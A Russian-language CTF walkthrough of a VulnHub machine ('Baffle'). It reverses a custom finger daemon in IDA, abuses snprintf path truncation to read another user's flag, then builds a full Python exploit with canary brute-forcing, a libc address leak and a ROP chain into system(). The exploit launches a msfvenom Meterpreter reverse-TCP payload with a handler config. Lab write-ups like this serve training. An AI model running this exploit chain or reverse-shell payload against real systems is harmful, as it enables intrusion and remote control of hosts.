/flag.txt

Хм, взглянув на почту, становится понятно куда двигаться дальше:
cat /var/mail/alice

Сообщение от Боба
From bob@baffle.me Thu Jan 2 11:38:22 2014
Return-Path: <root@baffle.me>
X-Original-To: alice
Delivered-To: alice@baffle.me
Received: by baffle.me (Postfix, from userid 0)
id B612F2C0E36; Thu, 2 Jan 2014 11:38:22 -0800 (PST)
From: Bob <bob@baffle.me>
To: alice@baffle.me
Subject: Flag #2
Message-Id: <2014010204825.B612F2C0E36@baffle.me>
Date: Thu, 2 Jan 2014 11:38:22 -0800 (PST)

Alice,

I need you to login to my account. My password is in /home/bob/flag.txt
You'll need to authenticate to Flag Vault in order to get its contents.


Bob



Логинимся по ssh, и сразу внимание привлекает файл .bash_history
bob@baffle:~$ cat .bash_history

.bash_history
ls -la
cat .plan 
cd binz/
ls -la
cd ..
ls
ls -la
ps -efa
exit
ls -latr
whoami
su - charlie
my_kn1ck3rz_r_bunch3d
cd filez/
ls -altr
date
cd ..
ls -latr
clear
ls
cd binz/
ls
cd ..
ls
exit


Фраза «my_kn1ck3rz_r_bunch3d» к сожалению не подошла в качестве пароля, но всё равно её пока сохраним, файл .plan тоже мало помог, а вот в директории binz, своей участи ждёт некий демон:

Смотрим на каком порту он висит:

bob@baffle:~$ netstat -ln
tcp        0      0 127.0.0.1:7979          0.0.0.0:*               LISTEN

И собственно пробуем к нему подключиться:
bob@baffle:~$ nc localhost 7979

Флаг явно есть у пользователя Charlie. Осталось его достать. Посмотрим что внутри этого демона, открыв его в IDA:

query_user(int fd)

.text:0000000000400B86 ; __int64 __fastcall query_user(int fd)
.text:0000000000400B86                 public query_user
.text:0000000000400B86 query_user      proc near               ; CODE XREF: main+10D
.text:0000000000400B86
.text:0000000000400B86 fd              = dword ptr -4E4h
.text:0000000000400B86 file_cntx       = qword ptr -4D8h
.text:0000000000400B86 s               = byte ptr -4D0h
.text:0000000000400B86 var_4B0         = byte ptr -4B0h
.text:0000000000400B86 file            = byte ptr -460h
.text:0000000000400B86 buf             = byte ptr -3F0h
.text:0000000000400B86 var_8           = qword ptr -8
.text:0000000000400B86
.text:0000000000400B86                 push    rbp
.text:0000000000400B87                 mov     rbp, rsp
.text:0000000000400B8A                 sub     rsp, 4F0h
.text:0000000000400B91                 mov     [rbp+fd], edi
.text:0000000000400B97                 mov     rax, fs:28h
.text:0000000000400BA0                 mov     [rbp+var_8], rax
.text:0000000000400BA4                 xor     eax, eax
.text:0000000000400BA6                 mov     dword ptr [rbp+file_cntx], 0
.text:0000000000400BB0                 lea     rax, [rbp+s]
.text:0000000000400BB7                 mov     edx, 14h        ; n
.text:0000000000400BBC                 mov     esi, 0          ; c
.text:0000000000400BC1                 mov     rdi, rax        ; s
.text:0000000000400BC4                 call    _memset
.text:0000000000400BC9                 mov     edx, [rbp+fd]
.text:0000000000400BCF                 lea     rax, [rbp+s]
.text:0000000000400BD6                 mov     esi, offset format ; "Socket fd: %d\n"
.text:0000000000400BDB                 mov     rdi, rax        ; s
.text:0000000000400BDE                 mov     eax, 0
.text:0000000000400BE3                 call    _sprintf
.text:0000000000400BE8                 lea     rax, [rbp+s]
.text:0000000000400BEF                 mov     rdi, rax        ; s
.text:0000000000400BF2                 call    _strlen
.text:0000000000400BF7                 mov     rdx, rax        ; n
.text:0000000000400BFA                 lea     rcx, [rbp+s]
.text:0000000000400C01                 mov     eax, [rbp+fd]
.text:0000000000400C07                 mov     rsi, rcx        ; buf
.text:0000000000400C0A                 mov     edi, eax        ; fd
.text:0000000000400C0C                 call    _write
.text:0000000000400C11                 lea     rax, [rbp+buf]
.text:0000000000400C18                 mov     edx, 3E8h       ; n
.text:0000000000400C1D                 mov     esi, 0          ; c
.text:0000000000400C22                 mov     rdi, rax        ; s
.text:0000000000400C25                 call    _memset
.text:0000000000400C2A                 mov     edi, offset buf ; "User to query: "
.text:0000000000400C2F                 mov     eax, 0
.text:0000000000400C34                 call    _printf
.text:0000000000400C39                 mov     eax, [rbp+fd]
.text:0000000000400C3F                 mov     edx, 0Fh        ; n
.text:0000000000400C44                 mov     esi, offset buf ; "User to query: "
.text:0000000000400C49                 mov     edi, eax        ; fd
.text:0000000000400C4B                 call    _write
.text:0000000000400C50                 lea     rcx, [rbp+buf]
.text:0000000000400C57                 mov     eax, [rbp+fd]
.text:0000000000400C5D                 mov     edx, 7D0h       ; nbytes
.text:0000000000400C62                 mov     rsi, rcx        ; buf
.text:0000000000400C65                 mov     edi, eax        ; fd
.text:0000000000400C67                 call    _read
.text:0000000000400C6C                 lea     rax, [rbp+buf]
.text:0000000000400C73                 mov     esi, offset reject ; "\n"
.text:0000000000400C78                 mov     rdi, rax        ; s
.text:0000000000400C7B                 call    _strcspn
.text:0000000000400C80                 mov     [rbp+rax+buf], 0
.text:0000000000400C88                 mov     eax, [rbp+fd]
.text:0000000000400C8E                 mov     edx, 0Ch        ; n
.text:0000000000400C93                 mov     esi, offset aChecking___ ; "Checking...\n"
.text:0000000000400C98                 mov     edi, eax        ; fd
.text:0000000000400C9A                 call    _write
.text:0000000000400C9F                 lea     rax, [rbp+file]
.text:0000000000400CA6                 mov     edx, 64h        ; n
.text:0000000000400CAB                 mov     esi, 0          ; c
.text:0000000000400CB0                 mov     rdi, rax        ; s
.text:0000000000400CB3                 call    _memset
.text:0000000000400CB8                 lea     rax, [rbp+buf]
.text:0000000000400CBF                 mov     edx, 4          ; n
.text:0000000000400CC4                 mov     esi, offset s2  ; "root"
.text:0000000000400CC9                 mov     rdi, rax        ; s1
.text:0000000000400CCC                 call    _strncmp
.text:0000000000400CD1                 test    eax, eax
.text:0000000000400CD3                 jnz     short loc_400CF2
.text:0000000000400CD5                 lea     rax, [rbp+file]
.text:0000000000400CDC                 mov     rcx, 702E2F746F6F722Fh
.text:0000000000400CE6                 mov     [rax], rcx
.text:0000000000400CE9                 mov     dword ptr [rax+8], 6E616Ch
.text:0000000000400CF0                 jmp     short loc_400D1A
.text:0000000000400CF2 ; ---------------------------------------------------------------------------
.text:0000000000400CF2
.text:0000000000400CF2 loc_400CF2:                             ; CODE XREF: query_user+14D
.text:0000000000400CF2                 lea     rdx, [rbp+buf]
.text:0000000000400CF9                 lea     rax, [rbp+file]
.text:0000000000400D00                 mov     rcx, rdx
.text:0000000000400D03                 mov     edx, offset aHomeS_plan ; "/home/%s/.plan"
.text:0000000000400D08                 mov     esi, 30         ; maxlen
.text:0000000000400D0D                 mov     rdi, rax        ; s
.text:0000000000400D10                 mov     eax, 0
.text:0000000000400D15                 call    _snprintf
.text:0000000000400D1A
.text:0000000000400D1A loc_400D1A:                             ; CODE XREF: query_user+16A
.text:0000000000400D1A                 lea     rax, [rbp+file]
.text:0000000000400D21                 mov     rsi, rax
.text:0000000000400D24                 mov     edi, offset aPlan_locS ; "plan_loc [%s]\n"
.text:0000000000400D29                 mov     eax, 0
.text:0000000000400D2E                 call    _printf
.text:0000000000400D33                 lea     rax, [rbp+file]
.text:0000000000400D3A                 mov     esi, 0          ; oflag
.text:0000000000400D3F                 mov     rdi, rax        ; file
.text:0000000000400D42                 mov     eax, 0
.text:0000000000400D47                 call    _open
.text:0000000000400D4C                 mov     dword ptr [rbp+file_cntx], eax
.text:0000000000400D52                 cmp     dword ptr [rbp+file_cntx], 0FFFFFFFFh
.text:0000000000400D59                 jnz     short loc_400D77
.text:0000000000400D5B                 mov     eax, [rbp+fd]
.text:0000000000400D61                 mov     edx, 25h        ; n
.text:0000000000400D66                 mov     esi, offset aDonTKnowAnythi ; "Don't know anything about this user.\n"
.text:0000000000400D6B                 mov     edi, eax        ; fd
.text:0000000000400D6D                 call    _write
.text:0000000000400D72                 jmp     loc_400DF8
.text:0000000000400D77 ; ---------------------------------------------------------------------------
.text:0000000000400D77
.text:0000000000400D77 loc_400D77:                             ; CODE XREF: query_user+1D3
.text:0000000000400D77                 lea     rax, [rbp+var_4B0]
.text:0000000000400D7E                 mov     edx, 50h        ; n
.text:0000000000400D83                 mov     esi, 0          ; c
.text:0000000000400D88                 mov     rdi, rax        ; s
.text:0000000000400D8B                 call    _memset
.text:0000000000400D90                 lea     rcx, [rbp+var_4B0]
.text:0000000000400D97                 mov     eax, dword ptr [rbp+file_cntx]
.text:0000000000400D9D                 mov     edx, 50h        ; nbytes
.text:0000000000400DA2                 mov     rsi, rcx        ; buf
.text:0000000000400DA5                 mov     edi, eax        ; fd
.text:0000000000400DA7                 call    _read
.text:0000000000400DAC                 mov     dword ptr [rbp+file_cntx+4], eax
.text:0000000000400DB2                 lea     rax, [rbp+var_4B0]
.text:0000000000400DB9                 mov     rsi, rax
.text:0000000000400DBC                 mov     edi, offset aPlanFileS ; "plan file [%s]\n"
.text:0000000000400DC1                 mov     eax, 0
.text:0000000000400DC6                 call    _printf
.text:0000000000400DCB                 mov     eax, dword ptr [rbp+file_cntx+4]
.text:0000000000400DD1                 movsxd  rdx, eax        ; n
.text:0000000000400DD4                 lea     rcx, [rbp+var_4B0]
.text:0000000000400DDB                 mov     eax, [rbp+fd]
.text:0000000000400DE1                 mov     rsi, rcx        ; buf
.text:0000000000400DE4                 mov     edi, eax        ; fd
.text:0000000000400DE6                 call    _write
.text:0000000000400DEB                 mov     eax, dword ptr [rbp+file_cntx]
.text:0000000000400DF1                 mov     edi, eax        ; fd
.text:0000000000400DF3                 call    _close
.text:0000000000400DF8
.text:0000000000400DF8 loc_400DF8:                             ; CODE XREF: query_user+1EC
.text:0000000000400DF8                 mov     eax, 0
.text:0000000000400DFD                 mov     rcx, [rbp+var_8]
.text:0000000000400E01                 xor     rcx, fs:28h
.text:0000000000400E0A                 jz      short locret_400E11
.text:0000000000400E0C                 call    ___stack_chk_fail
.text:0000000000400E11 ; ---------------------------------------------------------------------------
.text:0000000000400E11
.text:0000000000400E11 locret_400E11:                          ; CODE XREF: query_user+284
.text:0000000000400E11                 leave
.text:0000000000400E12                 retn
.text:0000000000400E12 query_user      endp


Тут наиболее интересной будет функция snprintf, которая формирует путь к открываемому файлу, при внимательном изучении видно, что конечный путь обрезается до 30-1 символов. Следовательно, теоретически, мы снова можем читать любой файл:
bob@baffle:~/binz$ python -c 'print("///////charlie/flag.txt")' | nc localhost 7979

И получаем очередной флаг:
Socket fd: 10
User to query: Checking…
FLAG{i_haz_sriracha_ice_cream}
---

Flag 5 (vulnhub)


Возможно, таким же методом получится вытащить флаг и у другого пользователя:
bob@baffle:~$ python -c 'print("///////vulnhub/flag.txt")' |nc localhost 7979

Socket fd: 6
User to query: Checking…
Sorry Mario. The flag is in another castle.
---

Не вышло. Продолжим поиски. Как и в предыдущем случае, файл имеет такую же защиту:

Однако, есть и некоторые отличия. После продолжительных поисков, методов обхода «канареек», можно наткнуться на 2 статьи: эту и эту. Прочитав их, понимаем, что это как раз наш случай. При отправке различных значений этому демону, во время отладки, можно заметить одну особенность. В случае, если введённая строка не повреждает «канарейку», вывод выглядит так:

На стороне клиента
Socket fd: 407
User to query: AA
Checking…
Don't know anything about this user.
---


На стороне сервера
+ connection accepted
+ back in parent
User to query: plan_loc [/home/AA/.plan]


Однако когда происходит повреждение «канарейки», вывод меняется на следующий:
На стороне клиента
Socket fd: 408
User to query: AAA.....AAAA
Checking…
Don't know anything about this user.


На стороне сервера
+ connection accepted
+ back in parent
User to query: plan_loc [/home/AAAAAAAAAAAAAAAAAAAAAAA]
*** stack smashing detected ***: ./ctfingerd terminated


Как видно, во втором случае клиенту не возвращаются символы "---". Это можно использовать для брутфорса канарейки. Перебирать юудем используя Python, для этого подготовим несколько функций.

Для начала нужна функция, которая собственно и будет после отправки данных, проверять крашнулось приложение или нет:

#!/usr/bin/python2
import socket
from time import sleep
from struct import pack, unpack

port = 7979
host = 'localhost'

def isCrashed(data):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(data)
    sleep(0.2)
    req = s.recv(1024)
    s.shutdown(1)
    s.close()
    if '---' not in req:
        return True
    return False

Понадобится функция, для поиска необходимого смещения, его можно конечно и константой задать, но так более крутодинамично:
def findCanaryOffset():
    min_offset = 0
    max_offset = 2000
    cur_offset = getCurrentOffset(min_offset, max_offset)
    while (max_offset - min_offset) > 1:
        print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset))
        send_data = 'A' * cur_offset
        if isCrashed(send_data):
            max_offset = cur_offset
        else:
            min_offset = cur_offset
        cur_offset = getCurrentOffset(min_offset, max_offset)
    return min_offset

Тут мы дабы не перебирать в лоб:
  • берём 2 крайних значений, при которых у нас сервис крашится и нет;
  • высчитываем между ними среднее и отправляем его;
  • далее всё просто, крашнулось — значит много, если нет — мало

Для непосредственно подбора значения канарейки воспользуемся следующей небольшой функцией:
def findCanary(payload):
    canary = ''
    for i in range(8):
        for byte in range(256):
            char = chr(byte)
            data = payload + canary + char
            if not isCrashed(data):
                canary += char
                print('[+] Found Canary byte %d: %s' % (i, char.encode('hex')))
                break
    print('[+] Canary found: %s' % (canary.encode('hex')))
    return canary

Которая, попутно выводит промежуточные найденные значения.

Поиск канарейки есть, теперь самое интересное. Для обхода всей оставшейся защиты, которая тут используется (NX + ASLR), нам понадобятся ROP гаджеты, а так же адреса необходимых функций, как в самом бинарнике, так и в используемой им библиотеке libc.so. Она тут собственно нужна в основном для расчёта верного адреса функции system, так как в ctfingerd эта функция отсутствует.

Чтобы рассчитать адрес нам нужно:

  1. адрес из таблицы GOT, любой функции, которая присутствует в ctfingerd
  2. адрес, по которому эта функция расположена в используемой libc.so

Для примера будем использовать функцию memset. Получаем её адрес в libc, которую мы предварительно скачали себе по ssh:
$ readelf -s libc.so.6 | grep memset@
   838: 0000000000085620   247 FUNC    GLOBAL DEFAULT   12 memset@@GLIBC_2.2.5

И её адрес в GOT:
$ objdump -R ctfingerd | grep memset
00000000006014e0 R_X86_64_JUMP_SLOT  memset

Далее собственно та самая «элитная» функция, которую мы будем использовать:
$ readelf -s libc.so.6 | grep system
  1337: 0000000000041490    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5

Нам так же понадобятся функции read@plt и write@plt из файла ctfingerd:
gdb-peda$ p write
$1 = {<text variable, no debug info>} 0x400920 <write@plt>
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0x4009b0 <read@plt>

С функциями закончили, переходим к поиску ROP гаджетов, тут можно посмотреть какие именно регистры используются системных функциях, искать мы будем в peda, которую не раз уже использовали в предыдущих райтапах:
$ gdb -ex "start" -q ctfingerd
gdb-peda$ ropsearch 'pop rsi'
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00401011 : (b'5e415fc3')      pop rsi; pop r15; ret
gdb-peda$ ropsearch 'pop rdi'
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00401013 : (b'5fc3')  pop rdi; ret

И ещё одно, нам нужен адрес, куда писать наш шелл-код в памяти, посмотрим какой диапазон нам доступен для записи:
gdb-peda$ vmmap 
Start              End                Perm      Name
0x00400000         0x00402000         r-xp      /home/remnux/ctfingerd
0x00601000         0x00602000         rw-p      /home/remnux/ctfingerd

Всё готово для формирования эксплоита, который будет состоять из 2 частей. В первой, получаем дескриптор сокета, и высчитываем адреса в libc:
# Get Socket FD
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
req = s.recv(1024)
socketFD = parseSockFD(req)

# Make payload
payload = canaryOffsetBuf  # some trash
payload += canary  # canary
payload += pack("<Q", 0x00)  # Owerwrite rbp
payload += pack('<Q', pop_rdi)  # pop rdi, ret
payload += pack('<Q', socketFD)  # STDOUT to socket
payload += pack("<Q", pop_rsi)  # pop rsi
payload += pack('<Q', memsetGOT)  # Address read in GOT
payload += pack("<Q", 0x00)  # Owerwrite r15
payload += pack("<Q", writePltOffset)  # return to write@plt

# Send First Payload
s.send(payload)
sleep(0.1)
req = s.recv(1024)
print('[+] Response from server: %s ' % req)
s.shutdown(1)
s.close()

# Calculate addresses
req = req.split('\n')
memsetAddr = unpack("<Q", req[2][:8])
print('[+] Real address for memset(): %s' % hex(memsetAddr[0]))
libcBase = (memsetAddr[0] - libcMemsetOffset)
print('[+] Real address for libc: %s' % hex(libcBase))
systemAddr = (libcBase + libcSystemOffset)
print('[+] Real address for sysem(): %s' % hex(systemAddr))

В сокет мы как раз и будем перенаправлять вывод. Вторая часть будет непосредственно записывать наш шелл в память и вызывать system:
socketFD += 1

# Save shellcode to writable memory
payload = canaryOffsetBuf  # some trash
payload += canary  # canary
payload += pack("<Q", 0x00)  # Owerwrite rbp
payload += pack("<Q", pop_rdi)  # pop rdi
payload += pack("<Q", socketFD)  # socket to read from
payload += pack("<Q", pop_rsi)  # pop rsi
payload += pack("<Q", free_space)  # location to write to
payload += pack("<Q", socketFD)  # junk for r15
payload += pack("<Q", readPltOffset)  # return to read()
# Call system()
payload += pack("<Q", pop_rdi)
payload += pack("<Q", free_space)
payload += pack("<Q", systemAddr)

# Send Second Payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
sleep(0.1)
print('[+] Run reverse shell')
cmd = '/tmp/x64mettle\x00'
s.send(cmd)

Объединив всё вместе и внеся некоторые коррективы получаем готовый эксплоит:
exploit7979.py
#!/usr/bin/python2
import socket
from time import sleep
from struct import pack, unpack

port = 7979
host = 'localhost'


def getCurrentOffset(min_offset, max_offset):
    return min_offset + (max_offset - min_offset) // 2


def isCrashed(data):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(data)
    sleep(0.2)
    req = s.recv(1024)
    s.shutdown(1)
    s.close()
    if '---' not in req:
        return True
    return False


def findCanaryOffset():
    min_offset = 0
    max_offset = 2000
    cur_offset = getCurrentOffset(min_offset, max_offset)
    while (max_offset - min_offset) > 1:
        print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset))
        send_data = 'A' * cur_offset
        if isCrashed(send_data):
            max_offset = cur_offset
        else:
            min_offset = cur_offset
        cur_offset = getCurrentOffset(min_offset, max_offset)
    return min_offset


def findCanary(payload):
    canary = ''
    for i in range(8):
        for byte in range(256):
            char = chr(byte)
            data = payload + canary + char
            if not isCrashed(data):
                canary += char
                print('[+] Found Canary byte %d: %s' % (i, char.encode('hex')))
                break
    print('[+] Canary found: %s' % (canary.encode('hex')))
    return canary


def parseSockFD(resp):
    # resp = 'Socket fd: 7\nUser to query: ' =>
    # ['Socket fd', ' 7\nUser to query', ' '] =>
    # [' 7', 'User to query'] => '7'
    fd = resp.split(':')[1].split('\n')[0].strip()
    return int(fd)


# Detect Canary
min_off = findCanaryOffset()
canaryOffsetBuf = 'A' * min_off
canary = findCanary(canaryOffsetBuf)

# Offsets
libcSystemOffset = 0x41490
writePltOffset = 0x400920
pop_rsi = 0x401011
pop_rdi = 0x401013
free_space = 0x6012c0
readPltOffset = 0x4009b0
memsetGOT = 0x6014e0
libcMemsetOffset = 0x85620

# Get Socket FD
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
req = s.recv(1024)
socketFD = parseSockFD(req)

# Make payload
payload = canaryOffsetBuf  # some trash
payload += canary  # canary
payload += pack("<Q", 0x00)  # Owerwrite rbp
payload += pack('<Q', pop_rdi)  # pop rdi, ret
payload += pack('<Q', socketFD)  # STDOUT to socket
payload += pack("<Q", pop_rsi)  # pop rsi
payload += pack('<Q', memsetGOT)  # Address read in GOT
payload += pack("<Q", 0x00)  # Owerwrite r15
payload += pack("<Q", writePltOffset)  # return to write@plt

# Send First Payload
s.send(payload)
sleep(0.1)
req = s.recv(1024)
print('[+] Response from server: %s ' % req)
s.shutdown(1)
s.close()

# Calculate addresses
req = req.split('\n')
memsetAddr = unpack("<Q", req[2][:8])
print('[+] Real address for memset(): %s' % hex(memsetAddr[0]))
libcBase = (memsetAddr[0] - libcMemsetOffset)
print('[+] Real address for libc: %s' % hex(libcBase))
systemAddr = (libcBase + libcSystemOffset)
print('[+] Real address for sysem(): %s' % hex(systemAddr))

socketFD += 1

# Save shellcode to writable memory
payload = canaryOffsetBuf  # some trash
payload += canary  # canary
payload += pack("<Q", 0x00)  # Owerwrite rbp
payload += pack("<Q", pop_rdi)  # pop rdi
payload += pack("<Q", socketFD)  # socket to read from
payload += pack("<Q", pop_rsi)  # pop rsi
payload += pack("<Q", free_space)  # location to write to
payload += pack("<Q", socketFD)  # junk for r15
payload += pack("<Q", readPltOffset)  # return to read()
# Call system()
payload += pack("<Q", pop_rdi)
payload += pack("<Q", free_space)
payload += pack("<Q", systemAddr)

# Send Second Payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
sleep(0.1)
print('[+] Run reverse shell')
cmd = '/tmp/x64mettle\x00'
s.send(cmd)



Теперь самое время воспользоваться msfvenom, и создать бинарник, который мы и будем запускать:
$ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle

А также конфиг для msfconsole:
$ cat meterpreter.rc 
use exploit/multi/handler
set payload linux/x64/mettle/reverse_tcp
set lhost 192.168.1.124
set lport 4444
run

Заливаем по ssh все необходимые файлы на атакуемый хост:
scp x64mettle bob@192.168.1.190:/tmp/
scp exploit7979.py bob@192.168.1.190:/tmp/
ssh bob@192.168.1.190 "chmod 777 /tmp/x64mettle"
ssh bob@192.168.1.190 "chmod +x /tmp/exploit7979.py"

Запускаем у себя Metasploit, запускаем на атакуемом хосте наш эксплоит и наслаждаемся выводом:
bob@baffle:/tmp$ python exploit7979.py
[*] Max Offset: 2000 Min Offset: 0
[*] Max Offset: 2000 Min Offset: 1000
[*] Max Offset: 1500 Min Offset: 1000
[*] Max Offset: 1250 Min Offset: 1000
[*] Max Offset: 1125 Min Offset: 1000
[*] Max Offset: 1062 Min Offset: 1000
[*] Max Offset: 1031 Min Offset: 1000
[*] Max Offset: 1015 Min Offset: 1000
[*] Max Offset: 1007 Min Offset: 1000
[*] Max Offset: 1003 Min Offset: 1000
[+] Found Canary byte 0: 00
[+] Found Canary byte 1: 17
[+] Found Canary byte 2: 40
[+] Found Canary byte 3: 48
[+] Found Canary byte 4: 6b
[+] Found Canary byte 5: 82
[+] Found Canary byte 6: 0e
[+] Found Canary byte 7: 73
[+] Canary found: 001740486b820e73
[+] Response from server: User to query: Checking...
Don't know anything about this user.
 6��   @ "!����P�� 
[+] Real address for memset(): 0x7f109f173620
[+] Real address for libc: 0x7f109f0ee000
[+] Real address for sysem(): 0x7f109f12f490
[+] Run reverse shell

И в конечном счёте получаем консоль Meterpreter'а:

Быстро отыскиваем флаг, поздравление и птичку.

Комментарии (0)

    Let's block ads! (Why?)

    Комментариев нет:

    Отправить комментарий